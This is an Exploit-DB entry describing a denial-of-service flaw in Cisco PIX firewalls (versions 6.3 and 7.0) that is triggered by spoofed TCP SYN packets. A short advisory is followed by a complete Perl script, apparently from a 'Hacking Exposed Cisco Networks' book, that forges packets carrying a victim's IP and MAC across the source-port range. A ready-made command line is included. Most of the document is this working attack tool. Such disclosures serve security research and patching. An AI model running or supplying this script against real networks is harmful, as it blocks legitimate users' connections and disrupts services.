Cisco PIX - TCP SYN Packet Denial of Service

EDB-ID:

26548


Platform:

Hardware

Published:

2005-11-22

source: https://www.securityfocus.com/bid/15525/info

Cisco PIX is susceptible to a remote denial-of-service vulnerability when handling certain TCP SYN packets.

This issue allows attackers to temporarily block network traffic to arbitrarily targeted TCP services. By repeating the attack, a prolonged denial-of-service condition is possible.

This issue is tracked by the following Cisco Bug IDs:
- CSCsc14915: PIX 6.3 Spoofed TCP SYN packets can block legitimate TCP connections
- CSCsc16014: PIX 7.0 Spoofed TCP SYN packets can block legitimate TCP connections 

#!/usr/bin/perl
eval ("use Getopt::Long;");die "[error] Getopt::Long perl module is not installed \n" if $@;
eval ("use Net::RawIP;");die "[error] Net::RawIP   perl module is not installed \n" if $@;
eval ("use Term::ProgressBar;");die "[error] Term::ProgressBar perl module is not installed \n" if $@;
my $VERSION = "0.1";
print "$0, $PgmName, V $VERSION \n";
GetOptions ( 
	    "help" =>\$usage,
	    "device=s" => \$device, 
            "source=s" =>\$sourceip,
            "dest=s"=>\$destip,
            "sourcemac=s"=>\$sourcemac,
            "destmac=s"=>\$destmac,
            "port=n"=> \$tcpport,
            );

######################## Config option #############################################

my $timeout = "0,1"; # Timeout

if ($usage) {&usage;} 
              
if (!$device) {
 $device= 'eth0'; # Network device
}

if (!$destmac) {print "Dest MAC not found \n"; &usage;}
if (!$sourceip) {print "Source IP not found \n"; &usage;}
if (!$destip) {print "Dest IP not found \n"; &usage;}
if (!$tcpport) {print "TCP port not found \n"; &usage;}

my $syn="1"; # TCP SYN SET
my $tcpdata = "TEST";	       # TCP payload
my $count=0;

####################################################################################

#Initialize Progres Bar 
my $progress = Term::ProgressBar->new(32768);
$progress->minor(0);
$packet = new Net::RawIP;
$packet-> ethnew($device);


if (!$sourcemac) {
$packet -> ethset( dest => $destmac);
}else { 
$packet -> ethset( source =>$sourcemac, dest => $destmac);
}



for ($count=0; $count< 65537 ; $count++) {

$packet->set({

ip => {
saddr => $sourceip,
daddr => $destip 
},

tcp => {
	check => 0x0010 , # TCP Packet Checksum 0 for auto correct
	source => $count,
	dest => $tcpport,
	syn => $syn,
	data => $tcpdata
       }});
$packet->ethsend($timeout);
#$packet->send($timeout);

$progress->update($_);
$count++;
}

sub usage {
  print <<EOF ;
This program was originally written in the due course of writing
"Hacking Exposed Cisco Networks: Cisco Security Secrets and Solutions" book.
Tool author - Janis Vizulis, Arhont Ltd. (License GPL-2 ) Please send bugs 
and comments to info@arhont.com 

usage: $0 [ --device=interface ] [--source=IP] [--dest=IP] [--sourcemac=MAC]
	  [--destmac=MAC] [--port=n]

Options:

  --help		This message
  --device		Network interface (defaut set eth0)
  --source		Victim source IP
  --dest		Victim destination IP
  --sourcemac		Victim source MAC
  --destmac		MAC Address of the gateway
  --port		TCP port 
  
Example: ./pixdos.pl --device eth0 --source 192.168.44.10 --dest 192.168.55.111 \
  --sourcemac 00:90:27:99:11:b6 --destmac 00:60:27:99:11:b6 --port 22 
EOF
  
  exit shift;
}